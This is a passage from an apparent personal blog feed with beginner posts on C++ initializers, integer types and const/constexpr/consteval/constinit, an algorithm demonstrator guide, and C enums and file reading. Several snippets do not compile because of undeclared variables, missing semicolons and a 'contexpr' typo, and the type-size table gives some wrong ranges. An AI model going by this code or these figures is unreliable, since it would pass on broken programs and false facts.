&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;19-increasing-the-buffer-size&quot;&gt;19. Increasing the buffer size&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;git config --global http.postBuffer 1048576000
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Day 02: Teaching myself C++</title>
        <published>2024-05-07T00:00:00+00:00</published>
        <updated>2024-05-07T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/day-02-learning-cpp/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/day-02-learning-cpp/</id>
        <content type="html">&lt;h2 id=&quot;note&quot;&gt;NOTE:&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;I’m a self-taught programmer, who recently started a new adventure to learn C++ by reading a ton of other people’s code and language documentations. This method might not work for all the people. Beacause it requires a certain degree of experience in a low-level or a mid-level programming language like C in order to read and learn a language like C++ from other people’s code and language documentations. For me this was possible because, I had some experience using C which I learned for the course CS50x. First, I started with the scripts that Daniel Gakwaya, had released in his github repository &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rutura&#x2F;The-C-20-Masterclass-Source-Code&quot;&gt;The C 20 Masterclass source code&lt;&#x2F;a&gt;. I will compose this blog post to demonstrate the lessons I learnt on my second day of analyzing his scripts.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;1-type-of-initializers&quot;&gt;1. Type of Initializers&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-1-braced-initializers&quot;&gt;1.1 Braced Initializers&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;    &amp;#x2F;&amp;#x2F;Braced initializers
    
    &amp;#x2F;&amp;#x2F;Variable may contain random garbage value . WARNING
    int elephant_count;
    
    int lion_count{};&amp;#x2F;&amp;#x2F;Initializes to zero
    
    int dog_count {10}; &amp;#x2F;&amp;#x2F;Initializes to 10
    
    int cat_count {15}; &amp;#x2F;&amp;#x2F;Initializes to 15
    
    &amp;#x2F;&amp;#x2F;Can use expression as initializer
    int domesticated_animals { dog_count + cat_count };

    std::cout &amp;lt;&amp;lt; &amp;quot;Elephant count : &amp;quot; &amp;lt;&amp;lt; elephant_count &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; &amp;quot;Lion count : &amp;quot; &amp;lt;&amp;lt; lion_count &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; &amp;quot;Dog count : &amp;quot; &amp;lt;&amp;lt; dog_count &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; &amp;quot;Cat count : &amp;quot; &amp;lt;&amp;lt; cat_count &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; &amp;quot;Domesticated animal count : &amp;quot; &amp;lt;&amp;lt; domesticated_animals &amp;lt;&amp;lt; std::endl;

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;1-2-functional-initialization&quot;&gt;1.2 Functional Initialization&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;   &amp;#x2F;&amp;#x2F;Functional Initialization
    int apple_count(5);
    int orange_count(10);
    int fruit_count (apple_count + orange_count);
    &amp;#x2F;&amp;#x2F;int bad_initialization ( doesnt_exist3 + doesnt_exist4 );

    &amp;#x2F;&amp;#x2F;Information lost. less safe than braced initializers
    int narrowing_conversion_functional (2.9);
    
    
    std::cout &amp;lt;&amp;lt; &amp;quot;Apple count : &amp;quot; &amp;lt;&amp;lt; apple_count &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; &amp;quot;Orange count : &amp;quot; &amp;lt;&amp;lt; orange_count &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; &amp;quot;Fruit count : &amp;quot; &amp;lt;&amp;lt; fruit_count &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; &amp;quot;Narrowing conversion : &amp;quot; &amp;lt;&amp;lt; narrowing_conversion_functional &amp;lt;&amp;lt; std::endl;&amp;#x2F;&amp;#x2F;Will loose info
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-types-of-integers&quot;&gt;2. Types of Integers&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;signed : Signed variables can store negative, zero, and positive numbers. &lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;range of possible values : [-2147483648 to 2147483647]&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;unsigned : Unsigned variables can store the number zero and positive numbers&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;range of possible values : [0 to 4294967295]&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Types of integers:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;short int&lt;&#x2F;li&gt;
&lt;li&gt;int&lt;&#x2F;li&gt;
&lt;li&gt;long int&lt;&#x2F;li&gt;
&lt;li&gt;long long int&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;Type&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Size (in bytes)&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;Range&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;signed short int&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;2&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;-32,768 to 32,767&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;unsigned short int&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;2&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0 to 65,535&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;signed int&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;4&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;[-2147483648 to 2147483647]&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;unsigned int&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;4&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;[0 to 4294967295]&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;signed long int&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;8&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;-2,147,483,648 to 2,147,483,647&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;unsigned long int&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;8&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0 to 4,294,967,295&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;signed long long int&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;8&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;-(2^63) to (2^63)-1&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;unsigned long long int&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;8&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0 to 18,446,744,073,709,551,615&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;3-types-of-fractional-numbers&quot;&gt;3. Types of fractional Numbers&lt;&#x2F;h2&gt;
&lt;p&gt;Types of fractional numbers:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;float&lt;&#x2F;li&gt;
&lt;li&gt;double&lt;&#x2F;li&gt;
&lt;li&gt;long double&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;Type&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Size (in bytes)&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;Range&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;Digits of precision&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;float&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;4&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;3.4 x 10&lt;sup&gt;-38&lt;&#x2F;sup&gt; to 3.4 x 10&lt;sup&gt;+38&lt;&#x2F;sup&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;7&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;double&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;8&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;1.7×10&lt;sup&gt;-308&lt;&#x2F;sup&gt; to 1.7×10&lt;sup&gt;+308&lt;&#x2F;sup&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;15&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;long double&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;16&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;1.7×10&lt;sup&gt;-308&lt;&#x2F;sup&gt; to 1.7×10&lt;sup&gt;+308&lt;&#x2F;sup&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;18&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;4-if-statement&quot;&gt;4. If Statement&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;

int main(){

    bool red_light {false};
    bool green_light{true};
    
    if(red_light == true){
        std::cout &amp;lt;&amp;lt; &amp;quot;Stop!&amp;quot; &amp;lt;&amp;lt; std::endl;
    }else{
        std::cout &amp;lt;&amp;lt; &amp;quot;Go through!&amp;quot; &amp;lt;&amp;lt; std::endl;
    }

    if(green_light){
        std::cout &amp;lt;&amp;lt; &amp;quot;The light is green!&amp;quot; &amp;lt;&amp;lt; std::endl;
    }else{
        std::cout &amp;lt;&amp;lt; &amp;quot;The light is NOT green!&amp;quot; &amp;lt;&amp;lt; std::endl;
    }

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;5-type-casting&quot;&gt;5. Type Casting&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;

int main(){
    char value = 65 ; &amp;#x2F;&amp;#x2F; ASCII character code for &amp;#x27;A&amp;#x27;
    std::cout &amp;lt;&amp;lt; &amp;quot;value : &amp;quot; &amp;lt;&amp;lt; value &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F; A
    std::cout &amp;lt;&amp;lt; &amp;quot;value(int) : &amp;quot; &amp;lt;&amp;lt; static_cast&amp;lt;int&amp;gt;(value) &amp;lt;&amp;lt; std::endl; 

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;6-integer-modifier-suffixes&quot;&gt;6. Integer modifier suffixes&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;    auto var6 { 123u}; &amp;#x2F;&amp;#x2F; unsigned
    auto var7 { 123ul}; &amp;#x2F;&amp;#x2F;unsigned long
    auto var8 { 123ll}; &amp;#x2F;&amp;#x2F; long long
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Thats it for day 2, hope you enjoyed the content.&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Constants in C++</title>
        <published>2024-05-02T00:00:00+00:00</published>
        <updated>2024-05-02T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/constants-in-cpp/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/constants-in-cpp/</id>
        <content type="html">&lt;h2 id=&quot;1-const&quot;&gt;1. Const&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;const&lt;&#x2F;code&gt; is used to create immutable variables or functions. By making a function or variable a constant, we lose the ability to modify the content in runtime.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;

int main(){
	&amp;#x2F;&amp;#x2F; immutable variable: the value of the variable cannot be changed to some other value
	const int pi = 3.141;

	return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-constexpr-constant-expressions&quot;&gt;2. Constexpr (Constant Expressions)&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The constexpr keyword is used to declare variables, functions, and constructors that &lt;code&gt;can&lt;&#x2F;code&gt; be evaluated at compile time. This allows for increased performance by executing calculations during compilation rather than runtime. constexpr provides a powerful optimization technique for creating efficient and reliable code in C++.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;The result is hardcoded to the machine before runtime (hardcoded in compile time).&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;

constexpr double pi = 3.141; &amp;#x2F;&amp;#x2F; this variable will be available before runtime. will be hardcoded to the machine code

constexpr double area(const double radius){  
	&amp;#x2F;* 
	- this function will be hardcoded to the machine code 
	- this function doesn&amp;#x27;t need to be looked up everytime that it is called
	*&amp;#x2F;
	return pi * (radius * radius);
}

int main(){
    int area = area(2.5);
    std::cout &amp;lt;&amp;lt; &amp;quot;Area of the Circle : &amp;quot; &amp;lt;&amp;lt; area &amp;lt;&amp;lt; std::endl;
	return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;3-consteval&quot;&gt;3. Consteval&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The “consteval” keyword is used to specify that a function &lt;code&gt;must&lt;&#x2F;code&gt; be evaluated at compile time. It ensures that the function is constexpr and will be computed at compile time whenever possible, providing performance benefits by avoiding runtime computations.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Result from a consteval function should be stored in an contexpr variable.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;

consteval int add(const int a, const int b){
	return a + b;
}

int main(){
	contexpr int answer = add(2,2);
    std::cout &amp;lt;&amp;lt; &amp;quot;Answer : &amp;quot; &amp;lt;&amp;lt; answer &amp;lt;&amp;lt; std::endl;
	return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;4-constinit&quot;&gt;4. Constinit&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The “constinit” keyword is used to specify that a variable must be initialized at compile time with a constant expression. It ensures that the variable is initialized only once before any dynamic initialization occurs, helping to avoid order-of-initialization issues and promoting more predictable program behavior.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;

int sub(const int a, const int b){
	return a - b;
}

int main(){
	constinit int x = 10 &amp;#x2F;&amp;#x2F; correct
	constinit int y = sub(10,5) &amp;#x2F;&amp;#x2F; ERROR: the declaration value should be initialized at compile time.
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Day 01: Teaching myself C++</title>
        <published>2024-05-02T00:00:00+00:00</published>
        <updated>2024-05-02T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/day-01-learning-cpp/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/day-01-learning-cpp/</id>
        <content type="html">&lt;h2 id=&quot;introduction&quot;&gt;Introduction:&lt;&#x2F;h2&gt;
&lt;p&gt;I’m a self-taught programmer, who recently started a new adventure to learn C++ by reading a ton of other people’s code and language documentations. This method might not work for all the people. Beacause it requires a certain degree of experience in a low-level or a mid-level programming language like C in order to read and learn a language like C++ from other people’s code and language documentations. For me this was possible because, I had some experience using C which I learned for the course CS50x. First, I started with the scripts that Daniel Gakwaya, had released in his github repository &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rutura&#x2F;The-C-20-Masterclass-Source-Code&quot;&gt;The C 20 Masterclass source code&lt;&#x2F;a&gt;. I will compose this blog post to demonstrate the lessons I learnt on my first day of analyzing his scripts.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-printing-strings&quot;&gt;1. Printing Strings&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;

int main(){
    std::cout &amp;lt;&amp;lt; &amp;quot;Hello World!&amp;quot; &amp;lt;&amp;lt; std::endl;
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-functions&quot;&gt;2. Functions&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;

int addNumbers(const int number_1, const int number_2){
    int result = number_1 + number_2;
    return result;
}

int main(){
    &amp;#x2F;&amp;#x2F; method 1
    sum = addNumbers(25,7);
    std::cout &amp;lt;&amp;lt; &amp;quot;Sum : &amp;quot; &amp;lt;&amp;lt; sum &amp;lt;&amp;lt; std::endl;

    &amp;#x2F;&amp;#x2F; method 2
    std::cout &amp;lt;&amp;lt; &amp;quot;Sum : &amp;quot; &amp;lt;&amp;lt; addNumbers(3,42) &amp;lt;&amp;lt; std::endl;
    
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;3-getting-user-input&quot;&gt;3. Getting user input&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;

int main(){

    std::string name;
    int age;

    std::cout &amp;lt;&amp;lt; &amp;quot;Enter your full name&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::getline(std::cin &amp;gt;&amp;gt; std::ws,name);

    std::cout &amp;lt;&amp;lt; &amp;quot;Enter your age&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cin &amp;gt;&amp;gt; age;

    std::cout &amp;lt;&amp;lt; &amp;quot;Hello &amp;quot; &amp;lt;&amp;lt; full_name &amp;lt;&amp;lt; &amp;quot; you are &amp;quot; &amp;lt;&amp;lt; age &amp;lt;&amp;lt; &amp;quot; years old!&amp;quot; &amp;lt;&amp;lt; std::endl;

  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;4-macros&quot;&gt;4. Macros&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;

#define NUM1 3
#define NUM2 5

int main(){
    int sum = NUM1 + NUM2
    std::cout &amp;lt;&amp;lt; sum &amp;lt;&amp;lt; std::endl;
	return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;5-const-constexpr-consteval-constinit&quot;&gt;5. const, constexpr, consteval, constinit&lt;&#x2F;h2&gt;
&lt;p&gt;This became a huge topic since I had no idea about constexpr, consteval and constinit. so, I decided to write a seperate blog post explaining about these 4 topics. A detailed explanation about these can be found in the blog post &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.vishalrashmika.me&#x2F;blog&#x2F;constants-in-cpp&#x2F;&quot;&gt;This blog post&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;6-number-systems&quot;&gt;6. Number Systems&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;

int main(){
   
   int decimal_value = 22; &amp;#x2F;&amp;#x2F; Decimal
   int octal_value = 026; &amp;#x2F;&amp;#x2F; Octal
   int hex_value = 0x16; &amp;#x2F;&amp;#x2F; Hexadecimal
   int binary_value = 0b00010110; &amp;#x2F;&amp;#x2F; Binary

   std::cout &amp;lt;&amp;lt; &amp;quot;Decimal : &amp;quot; &amp;lt;&amp;lt; decimal_value &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F; Output: 22
   std::cout &amp;lt;&amp;lt; &amp;quot;Octal : &amp;quot; &amp;lt;&amp;lt; octal_value &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F; Output: 22
   std::cout &amp;lt;&amp;lt; &amp;quot;Hexadecimal : &amp;quot; &amp;lt;&amp;lt; hex_value &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F; Output: 22
   std::cout &amp;lt;&amp;lt; &amp;quot;Binary : &amp;quot; &amp;lt;&amp;lt; binary_value &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F; Output: 22
   
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Thats it for day 1, hope you enjoyed the content.&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Algorithm Demonstrator Guide</title>
        <published>2024-04-08T00:00:00+00:00</published>
        <updated>2024-04-08T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/algorithm-demonstrator-guide/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/algorithm-demonstrator-guide/</id>
        <content type="html">&lt;h2 id=&quot;what-is-algorithm-demonstrator&quot;&gt;What is Algorithm Demonstrator ?&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Algorithm Demonstrator is a software designed in order to demonstrate how algorithms work. This software contains demonstrations for:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Bubble Sort&lt;&#x2F;li&gt;
&lt;li&gt;Insertion Sort&lt;&#x2F;li&gt;
&lt;li&gt;Linear Search&lt;&#x2F;li&gt;
&lt;li&gt;Binary Search&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;usage-guide&quot;&gt;Usage guide&lt;&#x2F;h2&gt;
&lt;p&gt;The algorithm demonstrator support both generating a random number set as well as importing a number set from a text file. The user can choose the option they prefer.
If a text file is to be imported the text file should satisfies some conditions,&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;The text file should not contain any strings&#x2F;text or decimal values.&lt;&#x2F;li&gt;
&lt;li&gt;The text file should only be stored in the .txt file format.&lt;&#x2F;li&gt;
&lt;li&gt;The text file must only contain 10 integers (whole numbers).&lt;&#x2F;li&gt;
&lt;li&gt;The integers should only be seperated by line breaks.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Example for a such text file:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;12
8
2
11
16
20
3
4
2
1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;First decide whether you are using the random number set or importing a number set from a file&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;mU5ljOY.png&quot; style=&quot;width:500px;&quot;&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Click the “Select” button&lt;&#x2F;li&gt;
&lt;li&gt;From the next window choose which algorithm you want to see the demonstration for,&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;FDKZCkJ.png&quot; style=&quot;width:500px;&quot;&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;If you selected a sort algorithm press “sort” button to see the demonstration, or else if you selected a searching algorithm press “search” button to see the demonstration&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;qhMYLU0.png&quot; style=&quot;width:500px;&quot;&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;xLWy2cc.png&quot; style=&quot;width:500px;&quot;&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Enums In C</title>
        <published>2023-09-11T00:00:00+00:00</published>
        <updated>2023-09-11T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/enum-in-c/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/enum-in-c/</id>
        <content type="html">&lt;h1 id=&quot;what-are-enums&quot;&gt;What are enums?&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;a user defined type of named integer identifiers helps to make a program more readable&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

enum Day{Sun = 1, Mon = 2, Tue = 3, Wed = 4, Thu = 5, Fri = 6, Sat = 7}

int main(){

  enum Day today = sun;
  printf(&amp;quot;%d\n&amp;quot;, today);

  if (today == Sun || today == Sat)
  {
      printf(&amp;quot;It&amp;#x27;s the weekend\n&amp;quot;);
  }
  else{
    printf(&amp;quot;I have to work\n&amp;quot;);
  }

  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Reading files in C</title>
        <published>2023-09-11T00:00:00+00:00</published>
        <updated>2023-09-11T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/reading-and-writing-files-in-c/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/reading-and-writing-files-in-c/</id>
        <content type="html">&lt;h2 id=&quot;1-fopen&quot;&gt;1.fopen&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;    FILE* fptr;
    &amp;#x2F;&amp;#x2F;argv[1] = filename
    fptr = fopen(argv[1], &amp;quot;r&amp;quot;);

    if (fptr == NULL) {
        printf(&amp;quot;Error: Missing File \&amp;quot;%s\&amp;quot;\n&amp;quot;,argv[1]);
        exit(0);
    }
    else{

        char ch;
        do {
            ch = fgetc(fptr);
            printf(&amp;quot;%c&amp;quot;, ch);
